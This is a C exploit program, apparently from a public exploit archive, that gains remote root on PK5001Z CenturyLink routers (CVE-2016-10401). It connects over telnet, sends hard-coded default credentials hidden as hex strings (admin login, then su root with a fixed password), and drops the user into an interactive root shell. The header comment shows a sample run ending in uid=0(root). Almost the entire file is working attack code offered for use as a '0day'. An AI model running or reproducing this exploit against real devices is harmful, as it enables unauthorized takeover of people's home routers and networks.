/* PK5001Z CenturyLink Router/Modem remote root exploit */ /* oxagast / Marshall Whittaker */ /* */ /* */ /* __ _ _ __ ___ __ ____ ____ */ /* / ( \/ )/ _\ / __)/ _\/ ___(_ _) */ /* ( O ) (/ ( (_ / \___ \ )( */ /* \__(_/\_\_/\_/\___\_/\_(____/(__) */ /* */ /* CVE-2016-10401 */ /* oxagast@oxasploits.com */ /* https://oxasploits.com/posts/exploit-archive-partial-disclosure/ */ /* */ /* marshall@likon:[~/Code/pk5001zpwn]: gcc pk5001z00pin.c -o pk5001z00pin */ /* marshall@likon:[~/Code/pk5001zpwn]: ./pk5001z00pin */ /* PK5001Z CenturyLink Router remote root 0day */ /* Enjoy! */ /* --oxagast */ /* marshall@likon:[~/Code/pk5001zpwn]: ./pk5001z00pin 192.168.0.1 */ /* */ /* # uname -a; id; */ /* Linux PK5001Z 2.6.20.19 #54 Wed Oct 14 11:17:48 CST 2015 mips unknown */ /* uid=0(root) gid=0(root) */ /* # */ /* */ #include <arpa/inet.h> #include <errno.h> #include <fcntl.h> #include <netdb.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #include <signal.h> #define END_STRING "chau\n" #define COMPLETE_STRING "fin-respuesta" #ifndef MSG_NOSIGNAL #define MSG_NOSIGNAL SO_NOSIGPIPE #endif #define perro(x) \ { \ fprintf(stderr, "%s:%d: %s: %s\n", __FILE__, __LINE__, x, \ strerror(errno)); \ exit(1); \ } void send_root(int sock, int pid) { char buf[1024] = {0}; char getal[1024] = "\x61\x64\x6d\x69\x6e\x0a"; char getap[1024] = "\x43\x65\x6e\x74\x75\x72\x79\x4c\x31\x6e\x6b\x0a"; char getrl[1024] = "\x73\x75\x20\x72\x6f\x6f\x74\x0a"; char getrp[1024] = "\x7a\x79\x61\x64\x35\x30\x30\x31"; recv(sock, buf, 1024 - 1, 0); sleep(1); if (strncmp(getal, END_STRING, strlen(END_STRING)) == 0) ; if (send(sock, getal, strlen(getal) + 1, 0) < 0) perro("send"); recv(sock, buf, 1024 - 1, 0); sleep(1); if (strncmp(getap, END_STRING, strlen(END_STRING)) == 0) ; if (send(sock, getap, strlen(getap) + 1, 0) < 0) perro("send"); sleep(2); recv(sock, buf, 1024 - 1, 0); if (strncmp(getrl, END_STRING, strlen(END_STRING)) == 0) ; if (send(sock, getrl, strlen(getrl) + 1, 0) < 0) perro("send"); sleep(2); recv(sock, buf, 1024 - 1, 0); if (strncmp(getrp, END_STRING, strlen(END_STRING)) == 0) ; if (send(sock, getrp, strlen(getrp) + 1, 0) < 0) perro("send"); sleep(2); } void send_cmd(int sock, int pid) { char str[1024] = {0}; while (fgets(str, 1024, stdin) == str) { if (strncmp(str, END_STRING, strlen(END_STRING)) == 0) break; if (send(sock, str, strlen(str) + 1, 0) < 0) perro("send"); } kill(pid, SIGKILL); } void sys_info(int sock, int pid) { char buf[1024] = {0}; char sysinfo[1024] = "\nuname -a; id;\n"; if (strncmp(sysinfo, END_STRING, strlen(END_STRING)) == 0) ; if (send(sock, sysinfo, strlen(sysinfo) + 1, 0) < 0) perro("send"); sleep(1); int filled = 0; while (filled = recv(sock, buf, 1024 - 1, 0)) { buf[filled] = '\0'; printf("%s", buf); fflush(stdout); } kill(pid, SIGKILL); } void receive(int sock) { char buf[1024] = {0}; int filled = 0; while (filled = recv(sock, buf, 1024 - 1, 0)) { buf[filled] = '\0'; printf("%s", buf); fflush(stdout); } } int main(int argc, char **argv) { if (argc != 2) { printf("PK5001Z CenturyLink Router remote root 0day\nEnjoy!\n"); printf(" --oxagast\n"); exit(1); } int sock = socket(AF_INET, SOCK_STREAM, 0); if (sock == -1) perro("socket"); struct in_addr server_addr; if (!inet_aton(argv[1], &server_addr)) perro("inet_aton"); struct sockaddr_in connection; connection.sin_family = AF_INET; memcpy(&connection.sin_addr, &server_addr, sizeof(server_addr)); connection.sin_port = htons(23); if (connect(sock, (const struct sockaddr *)&connection, sizeof(connection)) != 0) perro("connect"); sleep(1); int pid_root, pid_sys, pid_shell; sleep(1); send_root(sock, pid_root); if (pid_shell = fork()) sys_info(sock, pid_sys); if (pid_shell = fork()) send_cmd(sock, pid_shell); else receive(sock); return (0); }